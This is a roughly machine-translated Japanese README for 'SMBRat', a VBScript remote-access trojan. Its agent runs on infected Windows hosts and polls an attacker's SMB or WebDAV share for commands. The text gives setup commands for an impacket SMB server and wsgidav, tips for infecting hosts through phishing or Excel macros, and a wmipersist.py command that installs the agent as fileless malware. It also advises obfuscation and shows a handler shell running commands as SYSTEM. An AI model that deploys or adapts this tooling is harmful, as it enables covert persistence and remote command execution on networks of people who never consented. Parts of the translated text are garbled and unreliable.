Visual Basic スクリプトの Windows リモート管理ツール
Active DirectoryネットワークなどのWindows 環境は、 SMBトラフィックによって非常に肥大化します。
すべてのホストはSYSVOLからポリシーを取得し、構成が機能するにはリモート ファイルが必要で、デスクトップのショートカットは\somethingelseinthenetwork.exe
を指す傾向があります。
もう 1 回接続が試行されることに誰も気付かないでしょう。右?
- 特に成功した場合 (ファイアウォール拒否のみを監視するのが流行です)
agent
感染したホスト上で実行され、 SMB サーバーに接続するVisual Basic スクリプトです。そこに、ホストのhostname
とプライマリMAC
アドレスにちなんで名付けられたディレクトリが作成されます (レポート目的で、同時に一意で有益であるように努めます)。感染したホストのすべてのコマンドと情報はこのディレクトリに保存されます。共有フォルダー全体にzip
ping を実行すると、すべてのプロジェクト情報がアーカイブされます。
共有のマウントにドライブ文字は使用せず、 UNC paths
使用してリモート ファイルを直接読み取るだけです ( explorer.exe
にはドライブは作成されません)。
また、 UNC path
独自の実行環境の%PATH%
変数に挿入します (Linux マシンのファイル システムから直接実行可能ファイルを実行できます)。
agent
1 回だけ実行されるように構成されています。無国籍。
そのルーチンは(多かれ少なかれ)次のとおりです。
exec.dat
という名前のファイルを探します。cmd.exe /c <command>
を使用してコマンドとして実行します。output.dat
( exec.dat
の隣) に保存されます。exec.dat
ファイルを削除します。 handler
動作するには、 SMB サーバーが必要です。 Core Security のimpacket
パッケージのsmbserver.py
モジュールで十分です。
おそらくsmbd
でもうまくいくでしょうが、まだテストされていません。
正規の Windows ホストの SMB のように見せるには、 D$
という名前の共有が必要です。
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[ * ] Config file parsed
[ * ] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[ * ] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[ * ] Config file parsed
[ * ] Config file parsed
[ * ] Config file parsed
agent
UNC パスのみを使用するように構成されているため、WebDAV をゼロ変更で使用することもできます。 SMB サーバーの代わりに、 WebDAV サーバーを使用できます (SSL サポートを備えた優れた WebDAV サーバーは wsgidav です)。
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO : Lock manager: LockManager(LockStorageDict)
[...] INFO : Property manager: None
[...] INFO : Domain controller: SimpleDomainController ()
[...] INFO : Registered DAV providers by route:
[...] INFO : - ' /:dir_browser ' : FilesystemProvider for path ' /root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs ' (Read-Only) (anonymous)
[...] INFO : - ' / ' : FilesystemProvider for path ' /tmp/DAV ' (Read-Write) (anonymous)
[...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING : Share ' /:dir_browser ' will allow anonymous read access.
[...] WARNING : Share ' / ' will allow anonymous write access.
[...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO : Serving on http://0.0.0.0:80 ...
[...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] " PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat " length=0, depth=0, elap=0.004sec - > 207 Multi-Status
SSL をサポートするには、UNC パスを次のようにわずかに変更する必要があります。
\<Server-IP>DIR
に:
\<Server-IP>@SSL@443DIR
すべてのパスがこれによって構築されるため、この変更はServerName
agent.vbs
変数に対してのみ行うことができます。 SSL 証明書は、 agent
実行しているシステムによって信頼される必要があることに注意してください。自己署名証明書は失敗し、警告が表示されます。
agent.vbs
ファイルの先頭に、数秒 (10 秒が理想的) の遅延ステートメントを含むWhile ループを追加することができます。これにより、ダブルクリック、フィッシング、 Excel マクロなどによって Windows ホストに感染することができます。
1 秒の遅延を持つVBSのwhile True
ループは次のようになります。
Do While True
[ ... ]
WScript.Sleep 1000
Loop
ただし、Windows ホストでRPC が有効になっている場合は、次のようなコマンドを使用して、 WMI
および素晴らしいimpacket
パッケージの例を介してVBSファイルをファイルレス マルウェアとしてインストールすることができます。
$ examples/wmipersist.py ' <username>:<password>@<hostname/ipaddress> ' install -vbs agent.vbs -name smbrat -timer 10
ローカル アクセスでWMI
ツールを利用して、 agent.vbs
ファイルレス マルウェアとしてインストールすることもできます。
Visual Basic スクリプトは、難読化、 base64化、縮小化を適切に行うことができます。
「デプロイ」する前に試してみると非常に便利です。
この記事の執筆時点では、 したがって、使用方法は、 Handler
シェルは実装されていません。watch
のようなコマンドを使用して、 output.dat
ファイルを検査するだけで実行できます。
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/output.dat
そしてecho
実行してexec.dat
ファイルに内容を書き込みます。
$ echo ' whoami /all ' > Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/exec.dat
handler.py
実験用シェルは次のように動作します。
$ python handler.py Share/
SMBRat >
# When a new host gets infected:
[+] Agent " DESKTOP-EG4OE7J " (00:0C:29:2B:9F:AF) just checked-in for Project: " projectName "
SMBRat > execall whoami /user
[ > ] Sending ' whoami /user ' to " projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF " ...
SMBRat >
[ < ] Response from ' projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ' :
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority s ystem S-1-5-18
^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat >
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)
E...,E@[email protected].../.../....8
. & Mi~.6P.. > .......[.SMB........................
.@............ . ; ........... .net localgroup " administrators "
[...]
15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)
E...E.@......./.../..8..i~..
. ' *P....b.......SMB2......................
.F..z.....(...........z.D.........}...........p.r.o.j.e.c.t.N.a.m.e..D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F..o.u.t.p.u.t...d.a.t...
[...]
15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)
[email protected]../.../..8..i~.
.).P....*.....T.SMB........................
.T....$....... ' ..$.Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.
[...]
SMBv1 サーバー(例: impacket
のsmbserver.py
) が使用されている場合、トラフィック (ファイルの内容とパス) は平文で転送されます。
すべてのエージェントは、共有全体に保存されているファイルを変更できます。つまり、他のエージェントのexec.dat
変更できるということです... smbmap
明らかになります。
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445 Name: Deskjet-4540
Disk Permissions
---- -----------
D$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 D $ S VNRmxBFAO, plreae remove manually
IPC$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 I PC$ S VNRmxBFAO, plreae remove manually
smbmap
の-u
および-p
パラメータがないことに注意してください。これはNULL セッションです (FTP 匿名ログインなど)。誰もが共有ファイルを変更し、感染したすべてのマシンでリモート コード実行を実行できます。
iptables
いくつか起動したほうがよいでしょう...execall netsh
と入力すると、エージェントがすべて失われます。 agent.vbs
netsh.exe
シェルを生成し、それが終了するまで待機するため、何も応答しません。そのため、その内容をoutput.dat
に書き込むことができます。しかし、どうだろう... 終了しない... netsh>
void を指している状態でハングすることになる。